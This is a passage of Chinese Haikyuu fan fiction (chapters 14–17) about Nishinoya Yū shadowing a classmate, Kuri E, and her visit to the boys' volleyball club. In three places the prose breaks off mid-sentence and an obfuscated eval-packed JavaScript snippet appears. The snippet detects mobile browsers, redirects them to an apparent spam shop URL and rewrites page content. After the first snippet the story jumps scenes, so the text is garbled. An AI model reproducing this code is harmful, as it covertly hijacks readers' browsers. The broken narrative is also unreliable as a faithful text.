其次，他只是单纯的对九里绘每天都在做些什么感到好奇。 事情的起因是：西谷夕发现她每天都会提前到校、按时离校，从不缺勤。 但他却从没有在学校里遇到过九里绘，仿佛不在同一个世界位面，除非有一方发短信，约好碰头地点和时间。 来无影去无踪……指的应该就是这个吧。西谷夕感到不可思议。 行动开始前，他欲盖弥彰地逮住前来窜门的好兄弟，问：“我有一个朋友，他因为好奇新认识的朋友每天神出鬼没的原因，就暗中观察。” “……这样的行为合理吗？”他半夜一个惊醒爬起来查资料，发现不至于违法。 田中龙之介思索片刻：“阿谷啊，这是个好问题。” “你什么时候变成畏手畏脚的人了？！不该是这样的啊！” 西谷泪目：“龙！！” 田中：“阿谷！！” “龙——” 问题在好兄弟这里丝毫没有得到进展。 重新回归正题，他想来想去，又在早晨的第一节课上发呆。 西谷夕是个绝不会把烦恼留到第二天…半天或许都没有的人。 待他反应过来时，手机上编辑的短信已经发送了出去。 在极为漫长的三十几秒钟后，对方回复了消息。 【九里绘：可以哦。】 【九里绘：反正西谷同学直接跟踪我也没关系吧，我不会察觉的！：D】 该死该死该死，他在干什么啊。 下意识就去问本人了，而且这种乱七八糟的想法还收获到了肯定…… 西谷夕忽然觉得自己有被惯坏了的即视感。 瞎想什么呢，不带这样造谣女生的……他揉乱自己的头发，将这些东西通通丢出脑袋。 不过在此之前，西谷夕并未察觉到自己在排球外的事上投入如此多的脑力和精力，才是最值得关注的变化。 * 【九里绘：早上的时候，因为醒得早睡不着，就踩着时间去围观门卫早晚班的交接。】 【然后，利用操场跑道和户外健身器材完成每天的体能和柔韧度练习……】 第一节课铃声打响前，她会匆忙换上制服冲到教室找同学——基本上每次都是后桌的中尾葵借作业簿，把没写的内容全都填满。 正式上课，她拿出课本，脱下外套，调整坐姿…开始睡觉。 在现实的校园中碰见九里绘，是午休前的最后一节体育课。 这节课的安排是体能测试，与班里鬼哭狼嚎的那些人相比，西谷夕暗自兴奋地捏紧拳头，准备全力以赴。 和一位田径部的正选队员同时冲过终点。 对方向自己投来了不可置信的表情，仿佛写着“如此小的个子和步伐居然能和自己一分高下？” 读懂了眼神的西谷夕立刻炸毛：“瞧不起谁呢！想打架吗？！哈？” 周围传来一阵友好的哄笑声，环顾四周，西谷夕才发觉在操场上举行测试的班级不只他们一个。 若是放在以前，他拿下相当不错的成绩后，一定会抓紧时间看看附近，有没有人见证到自己的风采，如果有人能为自己喝彩就更棒了—— 但是今天没有。 目光朝着一个方向偏转。 不远处，为二人互动场景窃笑的女生中间，他发现了一个分外眼熟的背影。 是九里绘。 几乎是在一瞬间，西谷夕的注意力不受控制地转移到那里，在大脑开始滚动思考前，脚已经迈了出去。 索性体能测试的休息时间很长，不仅要等待其他学生结束测试，老师还很贴心地留了缓冲喘息的余地。 西谷夕潜入似的混进了一年级的男生堆里，无人发现他的异常。 旁听到男生之间正在聊的话题。 “虽然女生们的体育成绩普遍不太好，但就是那种…那种弱不禁风，需要被保护的感觉，非常可爱。你们懂我的意思吗？” “我懂，超级懂！” “喂，别把我跟你们混为一谈，运动系有运动系的魅力。” ……什么叫“虽然”？乱七八糟的。西谷夕不听了，专心找人。 一年级的测验内容是投掷实心球。 老师报到名字就准备上场，轮到九里绘候场时，她转身向后走去。 她前面一个喊的是男生的名字，那人举手示意，身高是人群中的拔尖。 西谷夕抬头目测了下…感觉快要有一米九。 男生长呼一口气，用力一扔，两公斤的实心球砸中了沙坑的边缘，滚到了外面。 第二次没有第一次那么远，老师读出了成绩，就有些人围到沙坑边上，试图了解从起点扔出扇形沙坑有多少距离。 “都让开，小心被误伤。”老师的提醒没有得到回应。 “下一位。” 九里绘捡起球，走回起点。 她反手握住实心球，短小的掌心紧紧包裹着球体，臂膀的肌肉线条在阳光下衬得格外明显。 面无表情的脸庞透露出冷酷的气息，眼神锐利起来。 脚掌扎实地踩在地面，在瞬间的静止中，她握了握手腕，蓄势待发。 腰部猛地发力，手臂迅猛挥动，实心球在空中划过一道弧线。 “闪远点！”西谷夕大喊。 那群原本围在沙坑旁边的人赶紧向两侧跑开，实心球越过他们的头顶，扎扎实实地坠落在红色跑道上。 一点沙粒也没有沾到。 “…那就记满分了，还要投第二次吗？”反应过来的老师询问。 九里绘平静地抬眸：“超过满分标准会有附加分吗？” “没有。” 她点点头：“好，第二次就不投了。” 临走前，老师看着板上的成绩单，碎碎念：“全是满分的成绩，附加分也派不上用处啊……” ——太帅了吧！九里同学！！ 西谷夕忍不住在心中呐喊。 光是动作和表情，就炫酷到不行。 那时候，他应该站在中间，这样就能亲身体会到那种像是能把人砸死的气势了！ “九里同学！超级帅！！” 见四周的人纷纷转头看向自己，西谷夕预感不妙。 等等，他把心里话……全部说出来了。 趁别人辨认出他的可疑身份之前，西谷夕果断转身溜走。 “不是说要跟踪尾随我吗？” 九里绘猝不及防地出现，且异常惊悚的用词将西谷夕吓了一跳。 “大概是……这样。”西谷夕磕磕绊绊地说。 “约好的事，我不会反悔。”九里绘的目光坚定，“所以课前看到西谷同学的时候，我假装不知道。” “发现西谷同学往我这边来时，也装作没看见。” “可是……西谷同学的夸奖，我就没法让自己装成听不见的样子了。” “谢谢，很动听。”九里绘浅浅地抿嘴，“我很喜欢。” 轰隆一声响起，不是天打雷劈，而是西谷夕的大脑宕机了。 话说那嘴角上扬的几个像素点，是笑了吗…？ 奇怪，分明看不出笑的痕迹，但鬼使神差的，西谷夕好像能够无限次读懂九里绘的表情。 “那么，西谷同学的‘跟踪计划’继续。”九里绘说，“要跟上我，接下来要加速了。” * 午休时间，西谷夕随身携带着便当跟在九里绘身后。 她一刻不停地朝前走去，走到一间无标识的社团活动室，推门而入。 里面乌泱泱挤了一片人，黑板上写着“第XX届健身爱好社扳手腕大赛”的字样。 “那小子谁啊？他有受到邀请吗？”有人指着西谷夕问。 九里绘回头一看，慢悠悠地说：“后面有人吗？没有吧。” 西谷夕呛得咳嗽了几声。 出现了！九里绘的“我不会察觉到你在跟踪我”睁眼说瞎话环节！ “算了别管了，我们速战速决。”为首的一名学姐据称是女子健身部的部长，目前蝉联了三届冠军。 两人稍作热身，相对坐在桌前，伸出右臂。 “那是…什么东西？”裁判问九里绘。 九里绘看向自己绑在前臂上的冰敷料，撕开胶带：“不好意思，忘了拆。” 西谷夕知道那是什么，排球训练过度后手臂上会出现紫红色斑点的淤血，用冰敷可以缓解疼痛。 比赛开始后，学姐手背的青筋暴起，咬紧牙关，在快要撑不住的最后时刻将九里绘的手腕按到底。 正要宣布胜者，九里绘出声打断：“还有左手没比。” 学姐不恼，露出自信的微笑：“来就来。” 充当裁判的同学再次喊：“预备，开始！” 左手紧握的瞬间，学姐的肌肉绷紧，似乎将全身的力量都集中在了手腕，脸上流露出专注与拼搏的神情。 双方在中间僵持不下，一时没有看出优势方。 九里绘忽然低下头，用空闲的右手伸向背后，当着所有人的面抓出一个饭团。 饭、饭团？ 比赛依旧在僵持，已经沦为了毅力的比拼。 和右手对决相比，此刻的九里绘从内而外地散发着一种松弛感，她一边发力，一边嚼米饭，三下五除二解决掉了自己午休时间没空吃午饭的问题。 学姐：“？？？” 终于，对方放弃了。 九里绘顶着嘴角的饭粒举起双臂庆祝，在女子健身部成员们的共同见证下，两人各胜利一次，都拿到了本届扳手腕比赛的冠军。 让所有人都能满意的世界诞生了，可喜可贺。 * 忙碌的九里绘又跑进了厕所。 这回西谷夕再怎么说都不可能跟进去了……等到她出来，手中多出了一块市面上最新款的游戏板。 九里绘说有人拜托她打游戏。 是一款前两天才发布的攻略向游戏，游戏板的主人是三年级生，平常偶尔在学习外的娱乐时间才会想到玩。 但她和外校的朋友打赌谁先能通关隐藏线，两天过去，其余结局都打通了，只有隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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[学长的帅气身姿让我留恋不已，但和别的女生不同，我没有选择去看学长，而是径直走向了篮球架。] [抱起地上的那颗篮球，我忽然明白，原来挥洒汗水的热血青春也可以变得如此帅气。] [这份帅气……我也同样可以拥有。] [……] [教练！我想打篮球！！！] 旁白结束。 九里绘：…… 西谷夕：…… 两人面面相觑，陷入了沉默。 最后只能感叹道：“不愧是几经转手都无人发现的隐藏线。” “哈。”九里绘轻笑出声，“很有趣的攻略游戏。” “诶？” 西谷夕感到吃惊：“都这样了，还能继续进入攻略阶段吗？” 他还以为主人公独自迈向体育线，和攻略对象不会有苗头了呢。 九里绘迟疑地问：“这两件事…会有冲突吗？” 她飞快地畅想：“要换作是我，肯定会一边喊着‘我是要成为篮球王的女人’然后投入到练习，再一边抽时间去看我喜欢的人。” “况且，以攻略游戏的套路来看，主人公在篮球的过程中，很有可能在男主之一的眼里，就是他自我攻略的一环。” 九里绘越说越觉得有道理：“两个人在达成互相喜欢之前，不就是一个人疯狂散发个人魅力，把另外一个人迷得神魂颠倒的过程吗？” “！”西谷夕大喊，“醍醐灌顶！！！” 完成了解锁隐藏线的任务，后面就不关她的事了。 九里绘及时将游戏存档，收回保护袋准备归还。 距离午休结束没多少时间，她终于停下了步伐。 下午放学后的计划依旧是去练排球。 充满了偶然、热闹和乐趣的一天，是九里绘每天的日常。 “抱歉，有戳痛么？”她指了指额头。 收回思绪的西谷夕“啊”了一声，赶紧晃手说：“没有的事。” “那为什么，脸上还那么红？” “是因为……阳光过于耀眼了吧。”他意有所指道，不清楚自己在胡言乱语什么。 九里绘若有所思：“嗯，下次我们坐在阴凉地吧。” 忽然间，西谷夕感觉到脸颊处传来的阵阵凉意。 面前是九里绘过于靠近的眼睛，她冰冰凉凉的掌心贴在他滚烫的脸庞。 “One touch！”九里绘眨眨眼，嗓音清亮地喊出一次触球的口令。 “这样，有凉快一点吗？” 那双浅蓝色的眼眸像是汽水味的棒冰，沁凉甜蜜地浇灌他的心灵。 这一刻，一切杂乱无章的思绪都有了意义。 他被接到了——西谷夕不由自主地心想。 像是一颗排球，被九里绘牢牢地…给接住了。 …… 西谷夕的一日观察计划，超额达标。 15.15章 15章——哎，求婚失败了 Line聊天界面。 【中尾葵：（土下座.jpg）（大哭.jpg）】 【九里绘：都说了，不用觉得有歉意。】 【九里绘：语言这个东西发明出来就是为了沟通，如果没有讨论和争辩，就不能传达出自己的心声，语言就失去意义了。】 【中尾葵：（安静乖巧.jpg）好的小绘，听你的小绘。那我们来聊点别的吧。】 【葵：你回去后没过多久，道宫学姐就离开体育馆去抓人了！社团结束前居然真的逮了几个二年级学姐回来。（震惊脸）】 【绘：？都在学校没回去啊。】 【葵：是的……学姐们的想法千奇百怪，但本意好像都是在做新生宣传，为了能够多招点成员入社。大概并不是在逃、逃训。】 【葵：不然等三年级的学姐们隐退，女排社就真的只剩六个人了，连替补队员都凑不到了。（大哭）】 九里绘放下哑铃，连同MIKASA排球一起摆在床尾的架子上。 【绘：看得出你很喜欢那里。】 这时，屏幕上方弹出了另一个聊天窗口的消息提醒。 在等中尾葵回复的空隙，九里绘先切出去。 【翔阳：新生赛大胜利，我正式加入社团了！】 【绘：恭喜！（拍拍）】 【翔阳：我问过了部里的前辈们，他们说可以邀请同学，九里桑会来参观吗？！！】 她当然不会给出同意以外的第二个选项。 也深深好奇着：作为同所学校同个体育项目开设出的社团，男排部的情况又是什么样的？ 九里绘记得女排部的有栖川提过一句，说对比起来，男排部的人数实在是太多了。 太多了……很多人…… 九里绘再次为自己的社交精力条感到不妙。 中尾葵的消息发送过来了。 【葵：嗯，因为会喜欢上排球的大家，都是温柔的人。】 【小绘也是！】 “……”盯着手机的九里绘开始了她长达一个世纪的漫长思考。 最终，她选择了放弃…放弃理解为什么中尾葵会误认为她是个温柔的人。 难不成葵对谁都是这种评价？到时候连带着说男排部也是一群温柔的人…… 等等。 九里绘忽然意识到，若仅仅是想要去了解男排部，前往参观之前，她还有个办法能够达到提前预习的目的。 如此一来，也不用担心呆在现场的自己会把社交精力全部耗尽了！ 想到这里，心情愉快的九里绘迅速地把设想好的事情投入到实践。 【绘：西谷同学，明天一起去上学吧。】 * 约好一起去学校，必不可少的是谁先到校门口的跑步比赛。 这次，九里绘依旧以一个身位之差屈居第二。 她缓缓调整好呼吸，不等另一人发表胜利宣言（真的会有吗），急忙左手拍在西谷夕的右肩，打断蓄力：“下次，我不会输的。” 居然还有下次吗？ 像这种一起上学去学校的经历…… 感受着肩膀按下的那一点点微不足道的重量，西谷夕嘴巴卡壳，无缝衔接到了变雕塑环节。 九里绘放下手，刻意抬头望向不远处的屋檐，开口道：“那里是第二体育馆吧。” “西谷同学不准备去体育馆做排球的晨练吗？”她好奇地问。 “今天不行。”回过神来，西谷夕很有原则地解释起缘由，“一个月的停部活处分时间……还没有到！” 但是马上就要到了！再忍耐一小会！ “在最后的这段时间里，学校的体育馆是绝对不可踏足的领域！！！”西谷夕咬牙切齿。 九里绘吃惊状：“诶？” 西谷夕茫然：“…诶？” 九里绘背过手去，面无表情地拖起尾音的长调：“诶——” 根本搞不懂对方在“诶”什么，只是针对这不明来源的“诶”声发出质疑，西谷夕继续复读：“诶！？” “西谷同学在生活中是听话和乖巧的类型呢。”九里绘发自内心地感慨道，没有丝毫贬义的意思。 紧接着轮到西谷夕发自内心地打出问号：“？？？” 【听话】？甚至是【乖巧】！？ “对男生的评价，不应该用些别的形容词来描述嘛！！”西谷夕超级在意地当场碎碎念起来，“就比如说帅不帅气，酷不酷炫这样的——” “西谷同学的帅气，和听话乖巧不冲突吧。”九里绘不假思索道，“我从没有否认过西谷同学的帅气，再说有关酷炫的评价，我一直都有说吧？” 九里绘：“需要我在这里复述一遍吗？” 作势张了张嘴，蓄势待发。 “不、不用了！！！”西谷夕捂脸。 结合在西谷夕笔记本上看到的内容，再加上西谷夕从来没对她撒过谎的性格，九里绘相信他对待处分的严谨态度是认真的了。 不像她…… 校门口距离保安室太近，九里绘把西谷夕推进了教学楼的楼梯间。 “西谷同学有没有听过这样一种说法。”九里绘抱膝蹲在墙角竖起左手食指，“只要无人发现我犯错，那就是没有犯过错。” 西谷夕也跟着一起蹲墙角：“居然…无法反驳！” “我国中的时候，因为...这样那样的原因被班主任罚不准参加部活。等到他下班回家，我就从体育馆二楼的窗台翻进去，继续一个人练习。” 九里绘说：“同部的同学们就算发现了也不会举报给老师，这样就很方便。” “翻进二楼窗台？！”西谷夕的重点错误，他相当在意地猜测，“难道是像做攀岩运动一样抓着墙壁的突出物爬上去！！” 短短一天的相处就让西谷夕重新寻觅到刻板印象的真谛，那就是：九里同学会做的事…一切皆有可能！ “倒也没有那么麻烦。”九里绘垂下手，改成了托住下巴，“教学楼外有一条长廊，只要从教学楼三楼跳到长廊的顶棚上，可以直接连通体育馆，接着balabalabala……” 分享起不适合对外传授的坏孩子知识！ “原来如此！！”西谷夕把它当成跌宕起伏的故事一样听得格外专注。 话题一不留神跑远了。 直到口腔间传来干涩的感觉，九里绘说得有些累，慢慢收住聊天的势头，逐渐察觉到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738284|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事。 那就是和西谷夕相处的时候，她会忘记很多。 忘记自己觉得社交很浪费精力，交朋友麻烦，忘记了她曾经靠一张嘴就得罪过许许多多的人。 不过这也不算什么稀奇的事，九里绘原本给自己建立了一道坚固的墙璧，就是为了把不信任的陌生人隔绝在外。 朋友就不在需要应付社交的范围之内，她从来都不会拒绝值得信赖的友人。 何况西谷同学非常有潜力…… 想到这里时，九里绘看向西谷夕的眼神添上了一闪而过的亮晶晶。 她忍不住握拳，在身前做了个加油打气的动作：“西谷同学。” 幻想中的耳畔回荡起“兄弟抱一下说说你心里话”的经典曲目。 “就算观点不同，我也力挺西谷同学的选择，而且……西谷同学去不了体育馆，可是我能替西谷同学去观察男排部的最新情况。” 西谷夕激动：“九里同学——！！” “不单单是帮西谷同学的忙，我个人也很想观摩一下。”九里绘深呼吸一口气，小声纠结，“要面对好多好多人…二十几个？三十几个？” 不想独自去见陌生人的想法瞬间抵达顶峰。 “不会有那么多人啦！”西谷夕大大咧咧地宽慰道，“用上双手双脚绝对能数清！” 五乘以四…是二十个人之内啊。 有了明显的类比参照，九里绘试着把画面加入想象，松了口气。 那就好…或许只要不是完全的陌生人就行了吧？单方面认识也算认识，要找一个防止社交精力耗空而暴走的办法。 “能请西谷同学陪我一起做排球部的成员预习笔记吗？”九里绘掏出一本空白笔记本，使出她上课时从未有过的刻苦学习态度，主动递上。 西谷夕痛快地答应下来，充满仪式感地用双手郑重接过。 “大致每个人的外貌特征和对应的名字，我会努力背诵下来的。”九里绘再次握拳给自己打气，“等着我的好消息吧，西谷同学！” 一天就这样顺利度过。 到了傍晚时分，已经在社区体育馆练习了几小时排球的西谷夕，收到了来自九里绘的简讯。 【九里绘：（有我你放心·竖起大拇指.jpg）】 然后传来几张图片。 图片拍摄的是几张白底黑字的纸，九里绘把观摩情况和感想全都记在了笔记本上。 尾端上翘的潇洒字体洋洋洒洒地写了几面，仿佛要将所有细节全都详细道出。 谢谢你，九里同学。阿里嘎都，九里同学。 抱着满心的感动与惊喜，西谷夕阅读起了第一段落的内容。 【放学后走正常路径到第二体育馆，门口偶遇了一位戴眼镜的美丽学姐。】 【是超乎常人、世间难以想象的美丽…西谷同学的描述果然没错，我立刻能确定她就是清水学姐了。】 【为了给清水学姐留下好印象，我走上前去，主动并礼貌地开口说——】 【“美女学姐，suki，请和我结婚。”】 【…哎，求婚失败了。】 西谷夕：“……” 西谷夕：“？？？” 西谷夕：“？？？？？？” 16.16章 16章——男排部：好熟悉的口吻 由此可见，那句不经大脑思考便自然流露出的大实话，最为直观地揭露出了九里绘鲜为人知的本性。 九里绘——是一款不愿意主动和人交流，但只要突破第一步就再也停不下来的虚假内向，是社恐…全称是社交恐怖人士。 用她的语言来诡辩一下，那就是拥有极易损耗的社交精力条和本身有社交牛X症这两种属性，在她身上不会矛盾。 笔记本的记录只到“求婚失败”截止，实际情况会更加复杂。 下午的放学铃声响起后，快要走到第二体育馆门口的清水洁子盯着突然鞠躬搭话的学妹，停下脚步，没什么表情地眨了眨眼。 九里绘以为她没听清，不死心地重复道：“美丽的学姐，suki（重音），请和我结婚。” 清水洁子：“……” 她的耳朵没出问题，脑袋也很清醒，所以答案是显而易见的。 “不好意思，我拒绝。”清水洁子很干脆地点头示意。 见对方同为女孩子，她温柔地添上一句：“我暂时没有结婚的打算。” 九里绘难过地捂住胸口，做出一副“果然如此呢但还是伤心一下好了”的反应。 接着马上恢复成正常状态，面无表情又拘谨地继续说：“我是1年级2组的九里绘，请问我是否有这个荣幸、社团是否允许并得空……” “可以在今天观摩一下排球部的训练吗？如果打扰到了实在抱歉。” 九里绘正色道：“我不会把训练内容说出去的，对天发誓绝不是外校派来的间谍，否则抽扭蛋永不中奖。” 一句话绕了个九曲十八弯，九里绘使出了她在礼貌用语方面的毕生所学，以及对她而言最恐怖的毒誓。 “不用紧张。” 闻言，九里绘听见了一声短促的轻笑，从鞠躬的角度抬头看去，清水洁子友善地朝她颔首：“我会和队长说明情况，顺路一起进去吧，九里同学。” 啊，被看穿情绪了。 但是紧张…？她有在紧张吗？ 没有什么自知之明的九里绘寸步不离地跟在清水洁子身后。 她已经考虑好了，自己随时随地都可以缩成一团球，藏进清水洁子宽广的胸怀…啊不是，背影里。 先去了活动室拿东西，里面没有别人，九里绘的余光瞥见地上的后勤箱，很自然地提起，长带挂在肩头。 清水洁子伸出的手一顿，随后道：“麻烦你了，九里同学。” 九里绘：“小事，小事。”就算清水学姐让她扛起一箱哑铃也在所不辞。 真好看啊…学姐真的很好看。 看一眼，再看亿眼。 进入体育馆，在做热身准备的排球部成员们和往常一样向清水洁子打招呼，同时也注意到了九里绘的存在。 清水洁子回应了众人，又紧接着介绍道：“这位是一年级的九里绘同学，想要参观一下部活训练。” “打扰了，各位学长好。”九里绘追加笔直的鞠躬。 在得到了所有人的善意欢迎后，九里绘重新抬起头，挺直腰杆，她的视线快速横扫过整个体育馆。 三年级的排球部队长泽村学长，菅原学长，二年级的田中、木下、还有成田学长…… 很好，她知道自己在紧张什么了。 撑住啊！社交精力——（尔康伸手.jpg） 人实在太多，她是个脸盲，靠死记硬背还是没记住名字，只能走捷径去记每个人有哪些对应的特征。 这还要归功于西谷夕。 起初，西谷夕只是给她展示了上一届三年级还在时的排球部全员合影，指着每个人的脸单纯介绍名字。 九里绘满脸严肃地用铅笔在草稿纸上复刻火柴小人涂鸦来加强记忆。 然后西谷夕兴致上头，越说越起劲，把每个人打排球的位置和习惯都给绘声绘色地描述一遍。 说到后面已经完全变成了他的单人表演，没讲完的故事就留到手机上，课间还在精神振奋地在桌肚里发消息。 【九里绘：我会全部认出来的，尽量。】 收回注意力，九里绘运用排除法把全部有印象的“火柴小人脸”都在心里标记出来，艰难地锁定了从未在照片出现过的生面孔。 一共有四个人。 四舍五入就是“黑橘黄绿”一年级新人组。不错，颜色丰富好辨认。 正当这时，她看清了那头引人注目的橘子头。 “——是九里同学！你来啦！”日向翔阳欢快地挥舞手臂。 九里绘觉得她这两天听到的惊叹符号有点超标了，累加起来足以超过前十五年的总和。 “早上好，翔阳。” “现在是下午吧！”日向翔阳说。 “嗯，今天睡懵了。”九里绘从善如流，“那就下午好，翔阳。” “日向认识的女生……”离两人最近的山口忠悄悄观察。 “九里桑，快看我身后那个。”日向翔阳往背后一指，又立马扭头回来，开始拼命把头发往下压，“那个黑头发摆张臭脸的家伙是1年级3组的影山飞雄，哦对了，你应该见过他！” 九里绘完全不记得：“有……吗？” 月岛萤无语地心想：……他们在搞什么？ “上个星期在办公室被吉田老师批评的时候，我们就站在九里同学的隔壁！！”日向翔阳大声说。 九里绘恍然大悟地左手敲右手：“啊，有点印象了，【英语默写不及格罚站组】。” 日向翔阳欣喜：“这个名字取得很适合诶！” 正在练习发球的影山飞雄忽然感觉身后出现了一道意味不明的视线，遂转身。 便发现一个不知道名字却莫名觉得眼熟的女生指向自己，还说：“所以那个‘黑头发摆臭脸’就是【上课睡觉走廊罚站组】的影山吧。” 九里绘低头，陷入思索：“加上翔阳你，我究竟和多少排球部的人一起罚站过……” 影山飞雄：“？” 日向翔阳捂住肚子使劲笑：“哈哈哈哈——影山你也有今天！！” “那个…”山口忠有点好奇地发问，“所以你们是在完全不知道对方是谁的情况下一起罚…认识了一个月？” 九里绘点点头：“不同班本来就不会交换姓名，而且不管是教师办公室列队罚站，还是上课罚站，原则上都是不能讲话交流的。” 显然这是学校的原则，而她的原则是不主动和别人产生交集。 “原来如此！”日向翔阳懂了，“怪不得影山作为小野老师【不及格留校罚抄组】之一，九里同学也一次都没有记住！！” 山口忠：“这种限定是什么值得骄傲的事情吗？” 回忆了一下好像确有此事，至少那三个罚站罚抄组是她亲身经历过的。 于是九里绘略感愧疚地垂下眼睛，老老实实地说：“抱歉，影山同学，把你给忘了。” 同时困惑地心想：怎么着，排球部难道是什么天选差生组的集中刷怪笼？ 槽点太多，山口忠一时间难以下嘴，捧读：“哦，原来是这样啊。” 月岛萤拒绝为这种傻事吐槽，假装自己什么也没听到。 影山飞雄一脸不知情，反正跟着说：“啊，没事。” “没事？那我收回道歉。”九里绘果断卸下社交伪装。 “不过以后我应该不会忘记你了。”话题一转，九里绘语气肯定地说，“因为影山你也会打排球。” 排球是她觉得有趣的东西，和有趣搭上关系的人她能记住，应该是这样的逻辑没错。 说者无意听者有心，尤其是后半句话里的关键词，此刻像飞箭一样迅速戳进了某些人的心头。 【排球。】 九里绘顿时有种被什么人盯住的感觉，而且是两道刁钻的视线。 “果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741756|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然九里同学是因为太喜欢排球了才会接受邀请来参观的啊！！”日向翔阳用一种茅塞顿开的喜悦喊道。 九里绘心虚地玩起手指，勉强接上他的热烈视线：“……对。” 不行，绝对不能让他们知道自己此次前来还有另一个的主要目的。 要是让男排部的学长们得知了她和西谷夕的约定，“帮不能来参加部活的队员打听情况”就不能算是秘密行动了。 换而言之，在九里绘的眼里，这是一项暴露了就相当于宣告任务失败的特殊游戏支线，拿不到奖励是次要的，丧失好感度才是重点。 连这点小秘密都掩盖不住的话……岂不是白白辜负了西谷同学对她的信任！？ 九里绘莫名其妙地说服了自己，猛然间燃起了斗志。 她和西谷同学的关系可是、可是交换过身体与灵魂的朋友啊！！！ 打断了自身的胡思乱想，九里绘全力以赴地回答：“我想多看看有趣又帅气的东西，排球就挺适合，然后我就来了。” 首先是把目的全都揽到自己身上，效果完美。 日向翔阳没有在意她奇怪的停顿和突变的语气，展开灿烂的笑颜：“肯定得是排球啊，我也是这么认为的，排球很有趣吧！排球最帅气了！！” “嗯，很帅。”好热血，稍微脑补了一下，九里绘感觉日向他跟西谷夕估计会很合得来。 凭借在九里绘的反应中捕捉到的熟悉的心情，日向翔阳颇有同感。 于是他忍不住分享道：“跳起来后看见网对面的景色，在最高点使出扣球，是我最喜欢、感觉最帅气的时刻了！” 日向翔阳侧过头：“九里同学呢？” 九里绘：“是…要问我最喜欢的时刻吗？” “嗯嗯嗯！” 紧急调取恶补的排球基础知识，九里绘犯难地抿抿嘴。 为了不惹到这里的很多人，她刚开始说得很保守：“跳跃和扣球都很帅气。” “啊当然了，我没有说打排球的其他人、其他时刻不帅的意思，只是我的个人爱好……” 一不小心就会变得坦诚：“但是如果非要用更具体一些的分类，我会把那个时刻偏袒给接球。” 日向翔阳：“接球？” 九里绘向前踏出一步，情绪逐渐难以控制地被激发出来，朝日向翔阳一指：“对了，肯定是接球！” “只要能接到球，就说明空中的对决还没结束，决斗可以继续下去，假如让我做选择，我希望能一直一直把接球的过程看下去。” “另外，让我开始真正留意排球，在无法扣球和拦网的限制下，见证到没有跳跃的飞翔——第一位向我展现出这些东西的家伙，他是个自由人。” 九里绘伸手在半空中握拳，她的目光灼热，完全把排球以外的事情通通忘了个干净，一头撞进了名为直球的热血世界中。 “全场最帅气、我最喜欢的就是自由人了！！”九里绘喊得无比大声。 气氛一时陷入诡异的寂静，除了休息时间还在专心摸索排球的影山那里传来咚咚声外，四面八方的视线不约而同地转来。 九里绘收回手，茫然地四处张望：“大家为什么都在看我？尤其是各位学长。” “没什么的九里学妹，我们可能只是恰好想到了同一件事吧……哈哈。”菅原孝支回以尴尬又不失友好的微笑。 话音未落，男排部二三年级生们看着眼前的一片空气，脑海中快速飘过两条弹幕。 【好熟悉的口吻。】 ……有那么一两秒钟，他们从九里学妹放话时的气势里，感受到了某个久违了的家伙。 光在排球的话题上，他们俩一定能合得来，何况九里学妹是个真心觉得排球帅气的隐藏式捧场王，还是个身高和那家伙差不多的漂亮女生，所以…… 怎么能有这种天降的好事呢！？ 【要当心/千万不能…让西谷认识她！】 17.17章 17章——心跳感重现 “九里同学已经参观过女排部了吧，准备加入女排吗？”日向翔阳忽然好奇发问。 九里绘花心思去探究自己的情绪，努力组织语言：“暂时不知道，有一定概率不会去。” 她说一句吞半句，没有把自己的想法一口气倾诉出来的打算。 毕竟以她的经验来看，身边不熟的人太多，过多数量的文字在众人面前都只是“废话”罢了。 “诶，为什么？为什么为什么？”日向翔阳追问。 对方主动问下去…那就多说点好了。 想到这里，九里绘极其诚实地说：“我知道排球是一项团队运动，可是一旦进入真正的团队，我就不一定能继续打下去了。” “这样啊……是不喜欢队伍吗？”日向翔阳抱着排球，埋头在手中旋转，让人看不清他的表情。 “……”沉默中，九里绘联想到了许多。 她的眼前出现了第一体育馆的围网，人数稀少的女排队成员，不合格的后勤设施和不够有进取心的理念，艰难道：“或许是吧。” 半晌，日向翔阳似乎想到了什么，眸色认真地接话：“不喜欢，不代表讨厌吧。” 九里绘一愣，想起了被现代文支配下的恐惧：“文字游戏！？” 日向翔阳摇摇头：“该怎么具体形容好呢…九里同学看排球时的眼神像星星一样，‘噼咔噼咔’的，和那些单纯旁观的路人有很明显的区别。” “似乎在说【真帅啊，我也能变成那样就好了——哟西，下一个由我上场！！】类似这样！” “你是在照镜子描述你自己吗？”一旁的月岛萤终于忍不住犀利地开口。 山口忠：“出现了啊，直觉系的对话……” 九里绘严肃道：“好详细好具体的形容。” 山口忠顿住，一脸不可思议：“诶…？” 新来的女同学也是直觉系啊！？ “……”九里绘尝试着想象了一下，发觉自己完全可以理解日向翔阳的意思。 她当年看国中排球比赛时就是这样的状态，久菜和子有次撞见觉得不可思议，还说：“你居然会露出那么生动的表情啊？” 或许能和互换身体时，西谷夕用她的脸做出来的浮夸表情相媲美。 